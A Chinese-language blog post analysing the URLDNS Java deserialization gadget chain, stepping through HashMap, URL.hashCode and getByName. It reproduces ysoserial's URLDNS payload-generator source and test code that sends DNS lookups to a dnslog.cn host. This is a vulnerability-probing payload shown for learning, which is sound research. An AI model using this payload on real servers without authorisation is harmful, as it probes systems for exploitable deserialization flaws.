内容
活动
关注

URLDNS反序列化链分析

简介: URLDNS是Java反序列化上最简单的一条链了,按实际效果来说它并不能被称为一条漏洞利用链,因为它不能执行命令,它的参数是一条URL,最终达到的效果是触发一次DNS请求。但是由于这条链没有依赖任何第三方的库,所以特别适合用来探测是否存在反序列化漏洞。

URLDNS是Java反序列化上最简单的一条链了,按实际效果来说它并不能被称为一条漏洞利用链,因为它不能执行命令,它的参数是一条URL,最终达到的效果是触发一次DNS请求。但是由于这条链没有依赖任何第三方的库,所以特别适合用来探测是否存在反序列化漏洞。


HashMap的put方法触发dns请求


我们先来看看如下这段代码


import java.net.MalformedURLException; import java.net.URL; import java.util.HashMap; public class URLDNS_Test {  public static void main(String[] args) throws MalformedURLException {  HashMap<URL,Integer> map = new HashMap<URL,Integer>();  URL url = new URL("http://oma19i.dnslog.cn");  map.put(url,1);  } }


运行之后我们看看dnslog平台的请求情况



可以看到dnslog平台接收到dns请求,那么具体哪里触发了dns请求呢,我们可以来调试一下。



跟进put方法



这里有个putVal方法,它是哈希表结构存储函数并不是我们关注的重点,可以看到putVal里面是调用了hash函数的,这里调用hash函数是HashMap为了保持传入的key唯一,所以需要对key做一个hash处理。那继续跟进hash方法



判断key是否为null,不为null则调用key.hashCode,再跟进key.hashCode



这里判断hashCode值是否为-1,假如等于-1的就直接返回hashCode,hashCode在如下位置赋值



所以if语句里的条件不成立,所以继续走到handler.hashCode,这里的handler是URLStreamHandler的一个实例(此处留意一下这个handler)



继续跟进handler.hashCode



发现会调用getHostAddress这个方法,继续跟进



发现调用getByName方法,也就是这个函数发送了dns请求



搞明白了为什么会发生dns请求之后呢,再来分析分析URLDNS这条链


URLDNS链分析


先看看ysoserial生成的payload代码


public class URLDNS implements ObjectPayload<Object> {  public Object getObject(final String url) throws Exception {  //Avoid DNS resolution during payload creation  //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.  URLStreamHandler handler = new SilentURLStreamHandler();  HashMap ht = new HashMap(); // HashMap that will contain the URL  URL u = new URL(null, url, handler); // URL to use as the Key  ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.  Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.  return ht;  }  public static void main(final String[] args) throws Exception {  PayloadRunner.run(URLDNS.class, args);  }  /**  * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.  * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior  * using the serialized object.</p>  *  * <b>Potential false negative:</b>  * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the  * second resolution.</p>  */  static class SilentURLStreamHandler extends URLStreamHandler {  protected URLConnection openConnection(URL u) throws IOException {  return null;  }  protected synchronized InetAddress getHostAddress(URL u) {  return null;  }  } }


可以看到它new了一个SilentURLStreamHandler



而SilentURLStreamHandler继承了URLStreamHandler然后重写了如下两个方法



还记得我们在分析使用put方法是会触发dns请求让留意了一下handler



前面说了handler是URLStreamHandler的一个实例,重写了URLStreamHandler里的openConnection方法和getHostAddress方法目的就是为了防止在生成payload的时候触发了dns请求。


至此为止,我们所有分析的代码都没有涉及到反序列化,那么利用反序列化去构造这条链呢。上面分析了那么久HashMap的put方法触发dns请求,那么今天的主角毋庸置疑也是HashMap这个类,反序列化会触发readObject方法,那么直接进入到HashMap的readObject方法。


private void readObject(java.io.ObjectInputStream s)  throws IOException, ClassNotFoundException {  // Read in the threshold (ignored), loadfactor, and any hidden stuff  s.defaultReadObject();  reinitialize();  if (loadFactor <= 0 || Float.isNaN(loadFactor))  throw new InvalidObjectException("Illegal load factor: " +  loadFactor);  s.readInt(); // Read and ignore number of buckets  int mappings = s.readInt(); // Read number of mappings (size)  if (mappings < 0)  throw new InvalidObjectException("Illegal mappings count: " +  mappings);  else if (mappings > 0) { // (if zero, use defaults)  // Size the table using given load factor only if within  // range of 0.25...4.0  float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);  float fc = (float)mappings / lf + 1.0f;  int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?  DEFAULT_INITIAL_CAPACITY :  (fc >= MAXIMUM_CAPACITY) ?  MAXIMUM_CAPACITY :  tableSizeFor((int)fc));  float ft = (float)cap * lf;  threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?  (int)ft : Integer.MAX_VALUE);  @SuppressWarnings({"rawtypes","unchecked"})  Node<K,V>[] tab = (Node<K,V>[])new Node[cap];  table = tab;  // Read the keys and values, and put the mappings in the HashMap  for (int i = 0; i < mappings; i++) {  @SuppressWarnings("unchecked")  K key = (K) s.readObject();  @SuppressWarnings("unchecked")  V value = (V) s.readObject();  putVal(hash(key), key, value, false, false);  }  } }


在该方法的最后一行,见到了熟悉的一行代码



那么这条链不就跑通了吗,最后我们以漏洞利用的方式来重新捋一捋


首先我们利用ysoserial生成一个URLDNS的payload



然后创建一个反序列化入口


package ysoserial; import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream; public class URLDNS_Test {  public static void main(String[] args) throws IOException, ClassNotFoundException {  unserialize("dnstest.bin");  }  public static void unserialize(String Filename) throws IOException, ClassCastException, ClassNotFoundException {  ObjectInputStream objectInputStream =new ObjectInputStream(new FileInputStream(Filename));  Object obj = objectInputStream.readObject();  } }

然后在HashMap类的readObject方法如下代码处打上一个断点



然后进行调试,程序成功走到我们的断点处



跟进hash方法



跟进key.hashCode



跟进handler.hashCode



跟进getHostAddress



成功执行到getByName函数触发dns请求



利用链挖掘角度分析URLDNS链


如上的分析都是我们以一个漏洞分析者去正向的分析这条链子,那么以漏洞挖掘者的身份我们就要倒过来看这条链了,首先我们从getByName这个函数开始,这个函数可以触发dns请求,那么我们看看谁调用了这个函数,我么可以点击这个函数,然后用Ctrl+Alt+H来查看这个函数的调用关系



然后就是逐步去看这些函数,是否能构造反序列化链,构造需要我们要注意三个事情


1、参数可控 2、类可反序列化,继承了序列化接口 3、最终走到反序列化触发的readObject

目录
相关文章
|
监控 安全 Shell
Zabbix Server trapper 命令注入漏洞 (CVE-2017-2824)
Zabbix Server trapper 命令注入漏洞,攻击者可通过特定Payload获取服务器执行权限。
522 1
|
安全 数据安全/隐私保护 Windows
【内网渗透】神器Mimikatz的入门简单实践
【内网渗透】神器Mimikatz的入门简单实践
1703 0
【内网渗透】神器Mimikatz的入门简单实践
|
SQL 监控 druid
Druid未授权访问 漏洞复现
Druid未授权访问 漏洞复现
17848 0
|
监控 安全 虚拟化
深入浅出Python沙箱越狱:原理、方法与防范
今天我们来聊一个有趣的话题 - Python沙箱越狱。在我们开始之前,先来搞清楚什么是Python沙箱吧。 简单来,Python沙箱就像是一个虚拟的"游乐场"。在这个游乐场里,你可以尽情地玩耍(运行Python代码),但是不能伤害到外面的世界(不能访问系统资源或执行危险操作)。这个"游乐场"有围栏(限制),有规则(安全策略),目的就是让你玩得开心,又不会搞出什么大乱子。
|
存储 Linux Android开发
Volatility3内存取证工具安装及入门在Linux下的安装教程
Volatility 是一个完全开源的工具,用于从内存 (RAM) 样本中提取数字工件。支持Windows,Linux,MaC,Android等多类型操作系统系统的内存取证。针对竞赛这块(CTF、技能大赛等)基本上都是用在Misc方向的取证题上面,很多没有听说过或者不会用这款工具的同学在打比赛的时候就很难受。以前很多赛项都是使用vol2.6都可以完成,但是由于操作系统更新,部分系统2.6已经不支持了,如:Win10 等镜像,而Volatility3是支持这些新版本操作系统的。
2644 0
|
Linux 虚拟化
此虚拟机的处理器所支持的功能不同于保存虚拟机状态的虚拟机的处理器所支持的功能
此虚拟机的处理器所支持的功能不同于保存虚拟机状态的虚拟机的处理器所支持的功能
3257 0
此虚拟机的处理器所支持的功能不同于保存虚拟机状态的虚拟机的处理器所支持的功能
|
SQL Oracle 关系型数据库
常见 SQL 注入绕过方法
常见 SQL 注入绕过方法
|
缓存 Docker 容器
【docker hub镜像源失效】2024年6月6日 docker 国内镜像源失效
【docker hub镜像源失效】2024年6月6日 docker 国内镜像源失效
|
Python
关于SSTI模块注入的常见绕过方法
关于SSTI模块注入的常见绕过方法
625 0
|
存储 网络协议 安全
Web 扫描神器:Gobuster 保姆级教程(附链接)
Web 扫描神器:Gobuster 保姆级教程(附链接)
下一篇